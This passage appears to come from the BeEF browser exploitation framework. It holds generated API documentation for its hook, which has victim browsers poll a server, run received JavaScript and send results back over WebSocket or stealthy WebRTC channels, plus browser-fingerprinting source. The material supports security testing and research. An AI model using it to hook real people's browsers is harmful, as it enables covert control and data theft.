(static) startScan(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout)

main function, where all starts :-)

Parameters:
Name Type Description
xssraysScanId
hookedBrowserSession
beefUrl
crossDomain
timeout
Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.os.html ================================================ JSDoc: Namespace: os

Namespace: os

os

Source:

Methods

(static) getArch()

Get OS architecture. This may not be the same as the browser arch or CPU arch. ie, 32bit OS on 64bit hardware

Source:

(static) getDefaultBrowser() → {string}

Detect default browser (IE only) Written by unsticky http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/

Source:
Returns:
Type
string

(static) getFamily()

Get OS family

Source:

(static) getName() → {string}

Source:
Returns:
Type
string

(static) getVersion() → {string}

Get OS name

Source:
Returns:
Type
string

(static) isAndroid() → {boolean}

Source:
Returns:
Type
boolean

(static) isAros() → {boolean}

Source:
Returns:
Type
boolean

(static) isBeOS() → {boolean}

Source:
Returns:
Type
boolean

(static) isBlackBerry() → {boolean}

Source:
Returns:
Type
boolean

(static) isIpad() → {boolean}

Source:
Returns:
Type
boolean

(static) isIphone() → {boolean}

Source:
Returns:
Type
boolean

(static) isIpod() → {boolean}

Source:
Returns:
Type
boolean

(static) isLinux() → {boolean}

Source:
Returns:
Type
boolean

(static) isMacintosh() → {boolean}

Source:
Returns:
Type
boolean

(static) isNokia() → {boolean}

Source:
Returns:
Type
boolean

(static) isOpenBSD() → {boolean}

Source:
Returns:
Type
boolean

(static) isOsxLeopard() → {boolean}

Source:
Returns:
Type
boolean

(static) isOsxMavericks() → {boolean}

Source:
Returns:
Type
boolean

(static) isOsxSnowLeopard() → {boolean}

Source:
Returns:
Type
boolean

(static) isOsxYosemite() → {boolean}

Source:
Returns:
Type
boolean

(static) isQNX() → {boolean}

Source:
Returns:
Type
boolean

(static) isSunOS() → {boolean}

Source:
Returns:
Type
boolean

(static) isWebOS() → {boolean}

Source:
Returns:
Type
boolean

(static) isWin10() → {boolean}

Source:
Returns:
Type
boolean

(static) isWin2000() → {boolean}

Source:
Returns:
Type
boolean

(static) isWin2000SP1() → {boolean}

Source:
Returns:
Type
boolean

(static) isWin311() → {boolean}

Source:
Returns:
Type
boolean

(static) isWin7() → {boolean}

Source:
Returns:
Type
boolean

(static) isWin8() → {boolean}

Source:
Returns:
Type
boolean

(static) isWin81() → {boolean}

Source:
Returns:
Type
boolean

(static) isWin95() → {boolean}

Source:
Returns:
Type
boolean

(static) isWin98() → {boolean}

Source:
Returns:
Type
boolean

(static) isWinCE() → {boolean}

Source:
Returns:
Type
boolean

(static) isWinME() → {boolean}

Source:
Returns:
Type
boolean

(static) isWinNT4() → {boolean}

Source:
Returns:
Type
boolean

(static) isWinPhone() → {boolean}

Source:
Returns:
Type
boolean

(static) isWinServer2003() → {boolean}

Source:
Returns:
Type
boolean

(static) isWinVista() → {boolean}

Source:
Returns:
Type
boolean

(static) isWinXP() → {boolean}

Source:
Returns:
Type
boolean

(static) isWindows() → {boolean}

Source:
Returns:
Type
boolean

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.session.html ================================================ JSDoc: Namespace: session

Namespace: session

session

Provides basic session functions.

Source:

Methods

(static) gen_hook_session_id()

Generates a random string using the chars in hook_session_id_chars.

Source:

(static) get_hook_session_id()

Gets a string which will be used to identify the hooked browser session

Source:

(static) set_hook_session_id()

Sets a string which will be used to identify the hooked browser session

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.timeout.html ================================================ JSDoc: Namespace: timeout

Namespace: timeout

timeout

Sometimes there are timing issues and looks like beef_init is not called at all (always in cross-origin situations, for example calling the hook with jquery getScript, or sometimes with event handler injections).

To fix this, we call again beef_init after 1 second. Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece antisnatchor

Source:

Methods

(static) setTimeout()

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.updater.html ================================================ JSDoc: Namespace: updater

Namespace: updater

updater

Object in charge of getting new commands from the BeEF framework and execute them. The XHR-polling channel is managed here. If WebSockets are enabled, websocket.js is used instead.

Source:

Members

(static) beefhook

Hook session name.

Source:

(static) lock

A lock.

Source:

(static) objects

An object containing all values to be registered and sent by the updater.

Source:

(static) xhr_poll_timeout

XHR-polling timeout.

Source:

Methods

(static) execute_commands()

Executes the received commands, if any.

Source:

(static) get_commands()

Gets new commands from the framework.

Source:

(static) regObject(key, value)

Registers an object to always send when requesting new commands to the framework.

Parameters:
Name Type Description
key String

the name of the object.

value String

the value of that object.

Source:
Example
beef.updater.regObject('java_enabled', 'true');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.webrtc.html ================================================ JSDoc: Namespace: webrtc

Namespace: webrtc

webrtc

Manage the WebRTC peer to peer communication channels. This objects contains all the necessary client-side WebRTC components, allowing browsers to use WebRTC to communicate with each other. To provide signaling, the WebRTC extension sets up custom listeners. /rtcsignal - for sending RTC signalling information between peers /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.

To ensure signaling gets back to the peers, the hook.js dynamic construction also includes the signalling.

This is all mostly a Proof of Concept

Source:

Members

(static) beefrtcs

To handle multiple peers - we need to have a hash of Beefwebrtc objects. The key is the peer id.

Source:

(static) globalrtc

To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects these objects persist outside of everything else. The key is the peer id.

Source:

(static) rtcrecvchan

To handle multiple event channels - we need to have a global hash of these. The key is the peer id

Source:

(static) rtcstealth

stealth should only be initiated from one peer - this global variable will contain: false - i.e not stealthed; or - i.e. the id of the browser which initiated stealth mode

Source:

Methods

(static) Beefwebrtc(initiator, peer, turnjson, stunservers, verbparam)

Beefwebrtc object - wraps everything together for a peer connection One of these per peer connection, and will be stored in the beefrtc global hash

Parameters:
Name Type Description
initiator
peer
turnjson
stunservers
verbparam
Source:

(static) Beefwebrtc#calleeStart()

Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()

Source:

(static) Beefwebrtc#createPeerConnection()

Try and establish the RTC connection

Source:

(static) Beefwebrtc#doAnswer()

As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below

Source:

(static) Beefwebrtc#doCall()

RTC - create an offer - the caller runs this, while the receiver runs calleeStart()

Source:

(static) Beefwebrtc#execCmd()

How the browser executes received JS (this is pretty hacky)

Source:

(static) Beefwebrtc#forceTurn()

Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive) These values are now simply passed in from the config.yaml for the webrtc extension

Source:

(static) Beefwebrtc#goStealth()

This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"

Source:

(static) Beefwebrtc#iceCandidateType()

Helper method to determine what kind of ICE Candidate we've received

Source:

(static) Beefwebrtc#initialize()

Initialize the object

Source:

(static) Beefwebrtc#maybeStart()

Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready

Source:

(static) Beefwebrtc#mergeConstraints()

Helper method to merge SDP constraints

Source:

(static) Beefwebrtc#noteIceCandidate()

Used to record ICS candidates locally

Source:

(static) Beefwebrtc#onAddIceCandidateError()

Event handler for unsuccessful addition of ICE Candidates

Source:

(static) Beefwebrtc#onAddIceCandidateSuccess()

Event handler for successful addition of ICE Candidates

Source:

(static) Beefwebrtc#onCreateSessionDescriptionError()

If the browser can't build an SDP

Source:

(static) Beefwebrtc#onDataChannel()

When a data channel has been established - within here is the message handling function as well

Source:

(static) Beefwebrtc#onIceCandidate()

When the PeerConnection receives a new ICE Candidate

Source:

(static) Beefwebrtc#onIceConnectionStateChanged()

When the ICE Connection State changes - this is useful to determine connection statuses with peers.

Source:

(static) Beefwebrtc#onRemoteHangup()

If a peer hangs up (we bring down the peerconncetion via the stop() method)

Source:

(static) Beefwebrtc#onSetRemoteDescriptionSuccess()

If the browser successfully sets a remote description

Source:

(static) Beefwebrtc#onSignalingStateChanged()

When the signalling state changes. We don't actually do anything with this except log it.

Source:

(static) Beefwebrtc#processMessage()

For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage against the message directly

Source:

(static) Beefwebrtc#processSignalingMessage()

Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers

Source:

(static) Beefwebrtc#sendPeerMsg()

Shortcut function to SEND a data messsage

Source:

(static) Beefwebrtc#sendSignalMsg()

Send a signalling message ..

Source:

(static) Beefwebrtc#setRemote()

Used to set the RTC remote session

Source:

(static) Beefwebrtc#stop()

Bring down the peer connection

Source:

(static) rtcpollPeer()

This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/beef.websocket.html ================================================ JSDoc: Namespace: websocket

Namespace: websocket

websocket

Manage the WebSocket communication channel. This channel is much faster and responsive, and it's used automatically if the browser supports WebSockets AND beef.http.websocket.enable = true.

Source:

Methods

(static) alive()

Polling mechanism, to notify the BeEF server that the browser is still hooked, and the WebSocket channel still alive. todo: there is probably a more efficient way to do this. Double-check WebSocket API.

Source:

(static) init()

Initialize the WebSocket client object. Note: use WebSocketSecure only if the hooked origin is under https. Mixed-content in WS is quite different from a non-WS context.

Source:

(static) send()

Send data back to BeEF. This is basically the same as beef.net.send, but doesn't queue commands. Example usage: beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) + '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');

Source:

(static) start()

Send Hello message to the BeEF server and start async polling.

Source:

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/browser.js.html ================================================ JSDoc: Source: browser.js

Source: browser.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Basic browser functions.
 * @namespace beef.browser
 */
beef.browser = {

    /**
     * Returns the protocol.
     * @example: beef.browser.getProtocol()
     */
    getProtocol: function() {
        return document.location.protocol;
    },

    /**
     * Returns the user agent that the browser is claiming to be.
     * @example: beef.browser.getBrowserReportedName()
     */
    getBrowserReportedName: function () {
        return navigator.userAgent;
    },

    /**
     * Returns the underlying layout engine in use by the browser.
     * @example: beef.browser.getBrowserEngine()
     */
    getBrowserEngine: function() {
      try {
        var engine = platform.layout;
        if (!!engine)
          return engine;
      } catch (e) {}
      return 'unknown';
    },

    /**
     * Returns true if Avant Browser.
     * @example: beef.browser.isA()
     */
    isA: function () {
        return window.navigator.userAgent.match(/Avant TriCore/) != null;
    },

    /**
     * Returns true if Iceweasel.
     * @example: beef.browser.isIceweasel()
     */
    isIceweasel: function () {
        return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
    },

    /**
     * Returns true if Midori.
     * @example: beef.browser.isMidori()
     */
    isMidori: function () {
        return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null;
    },

    /**
     * Returns true if Odyssey
     * @example: beef.browser.isOdyssey()
     */
    isOdyssey: function () {
        return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null);
    },

    /**
     * Returns true if Brave
     * @example: beef.browser.isBrave()
     */
    isBrave: function(){
        return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null);
    },

    /**
     * Returns true if IE6.
     * @example: beef.browser.isIE6()
     */
    isIE6: function () {
        return !window.XMLHttpRequest && !window.globalStorage;
    },

    /**
     * Returns true if IE7.
     * @example: beef.browser.isIE7()
     */
    isIE7: function () {
        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
    },

    /**
     * Returns true if IE8.
     * @example: beef.browser.isIE8()
     */
    isIE8: function () {
        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
    },

    /**
     * Returns true if IE9.
     * @example: beef.browser.isIE9()
     */
    isIE9: function () {
        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined";
    },

    /**
     *
     * Returns true if IE10.
     * @example: beef.browser.isIE10()
     */
    isIE10: function () {
        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
    },

    /**
     *
     * Returns true if IE11.
     * @example: beef.browser.isIE11()
     */
    isIE11: function () {
        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
    },

    /**
     *
     * Returns true if Edge.
     * @example: beef.browser.isEdge()
     */
    isEdge: function () {
        return !beef.browser.isIE() && !!window.styleMedia && (/Edg\/\d+\.\d/.test(window.navigator.userAgent) || /Edge\/\d+\.\d/.test(window.navigator.userAgent));
    },

    /**
     * Returns true if IE.
     * @example: beef.browser.isIE()
     */
    isIE: function () {
        return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
    },

    /**
     * Returns true if FF2.
     * @example: beef.browser.isFF2()
     */
    isFF2: function () {
        return !!window.globalStorage && !window.postMessage;
    },

    /**
     * Returns true if FF3.
     * @example: beef.browser.isFF3()
     */
    isFF3: function () {
        return !!window.globalStorage && !!window.postMessage && !JSON.parse;
    },

    /**
     * Returns true if FF3.5.
     * @example: beef.browser.isFF3_5()
     */
    isFF3_5: function () {
        return !!window.globalStorage && !!JSON.parse && !window.FileReader;
    },

    /**
     * Returns true if FF3.6.
     * @example: beef.browser.isFF3_6()
     */
    isFF3_6: function () {
        return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
    },

    /**
     * Returns true if FF4.
     * @example: beef.browser.isFF4()
     */
    isFF4: function () {
        return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
    },

    /**
     * Returns true if FF5.
     * @example: beef.browser.isFF5()
     */
    isFF5: function () {
        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
    },

    /**
     * Returns true if FF6.
     * @example: beef.browser.isFF6()
     */
    isFF6: function () {
        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
    },

    /**
     * Returns true if FF7.
     * @example: beef.browser.isFF7()
     */
    isFF7: function () {
        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
    },

    /**
     * Returns true if FF8.
     * @example: beef.browser.isFF8()
     */
    isFF8: function () {
        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
    },

    /**
     * Returns true if FF9.
     * @example: beef.browser.isFF9()
     */
    isFF9: function () {
        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
    },

    /**
     * Returns true if FF10.
     * @example: beef.browser.isFF10()
     */
    isFF10: function () {
        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
    },

    /**
     * Returns true if FF11.
     * @example: beef.browser.isFF11()
     */
    isFF11: function () {
        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
    },

    /**
     * Returns true if FF12
     * @example: beef.browser.isFF12()
     */
    isFF12: function () {
        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
    },

    /**
     * Returns true if FF13
     * @example: beef.browser.isFF13()
     */
    isFF13: function () {
        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
    },

    /**
     * Returns true if FF14
     * @example: beef.browser.isFF14()
     */
    isFF14: function () {
        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
    },

    /**
     * Returns true if FF15
     * @example: beef.browser.isFF15()
     */
    isFF15: function () {
        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
    },

    /**
     * Returns true if FF16
     * @example: beef.browser.isFF16()
     */
    isFF16: function () {
        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
    },

    /**
     * Returns true if FF17
     * @example: beef.browser.isFF17()
     */
    isFF17: function () {
        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
    },

    /**
     * Returns true if FF18
     * @example: beef.browser.isFF18()
     */
    isFF18: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null;
    },

    /**
     * Returns true if FF19
     * @example: beef.browser.isFF19()
     */
    isFF19: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
    },

    /**
     * Returns true if FF20
     * @example: beef.browser.isFF20()
     */
    isFF20: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
    },

    /**
     * Returns true if FF21
     * @example: beef.browser.isFF21()
     */
    isFF21: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null;
    },

    /**
     * Returns true if FF22
     * @example: beef.browser.isFF22()
     */
    isFF22: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null;
    },

    /**
     * Returns true if FF23
     * @example: beef.browser.isFF23()
     */
    isFF23: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null;
    },

    /**
     * Returns true if FF24
     * @example: beef.browser.isFF24()
     */
    isFF24: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null;
    },

    /**
     * Returns true if FF25
     * @example: beef.browser.isFF25()
     */
    isFF25: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null;
    },

    /**
     * Returns true if FF26
     * @example: beef.browser.isFF26()
     */
    isFF26: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null;
    },

    /**
     * Returns true if FF27
     * @example: beef.browser.isFF27()
     */
    isFF27: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null;
    },

    /**
     * Returns true if FF28
     * @example: beef.browser.isFF28()
     */
    isFF28: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
    },

    /**
     * Returns true if FF29
     * @example: beef.browser.isFF29()
     */
    isFF29: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
    },

    /**
     * Returns true if FF30
     * @example: beef.browser.isFF30()
     */
    isFF30: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
    },

    /**
     * Returns true if FF31
     * @example: beef.browser.isFF31()
     */
    isFF31: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
    },

    /**
     * Returns true if FF32
     * @example: beef.browser.isFF32()
     */
    isFF32: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
    },

    /**
     * Returns true if FF33
     * @example: beef.browser.isFF33()
     */
    isFF33: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/33./) != null;
    },

    /**
     * Returns true if FF34
     * @example: beef.browser.isFF34()
     */
    isFF34: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/34./) != null;
    },

    /**
     * Returns true if FF35
     * @example: beef.browser.isFF35()
     */
    isFF35: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/35./) != null;
    },

    /**
     * Returns true if FF36
     * @example: beef.browser.isFF36()
     */
    isFF36: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/36./) != null;
    },

    /**
     * Returns true if FF37
     * @example: beef.browser.isFF37()
     */
    isFF37: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/37./) != null;
    },

    /**
     * Returns true if FF38
     * @example: beef.browser.isFF38()
     */
    isFF38: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/38./) != null;
    },

    /**
     * Returns true if FF39
     * @example: beef.browser.isFF39()
     */
    isFF39: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/39./) != null;
    },

    /**
     * Returns true if FF40
     * @example: beef.browser.isFF40()
     */
    isFF40: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/40./) != null;
    },

    /**
     * Returns true if FF41
     * @example: beef.browser.isFF41()
     */
    isFF41: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/41./) != null;
    },

    /**
     * Returns true if FF42
     * @example: beef.browser.isFF42()
     */
    isFF42: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/42./) != null;
    },

    /**
     * Returns true if FF43
     * @example: beef.browser.isFF43()
     */
    isFF43: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/43./) != null;
    },

    /**
     * Returns true if FF44
     * @example: beef.browser.isFF44()
     */
    isFF44: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/44./) != null;
    },

    /**
     * Returns true if FF45
     * @example: beef.browser.isFF45()
     */
    isFF45: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/45./) != null;
    },

    /**
     * Returns true if FF46
     * @example: beef.browser.isFF46()
     */
    isFF46: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/46./) != null;
    },

    /**
     * Returns true if FF47
     * @example: beef.browser.isFF47()
     */
    isFF47: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/47./) != null;
    },

    /**
     * Returns true if FF48
     * @example: beef.browser.isFF48()
     */
    isFF48: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/48./) != null;
    },

    /**
     * Returns true if FF49
     * @example: beef.browser.isFF49()
     */
    isFF49: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/49./) != null;
    },

    /**
     * Returns true if FF50
     * @example: beef.browser.isFF50()
     */
    isFF50: function () {
        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/50./) != null;
    },

    /**
     * Returns true if FF51
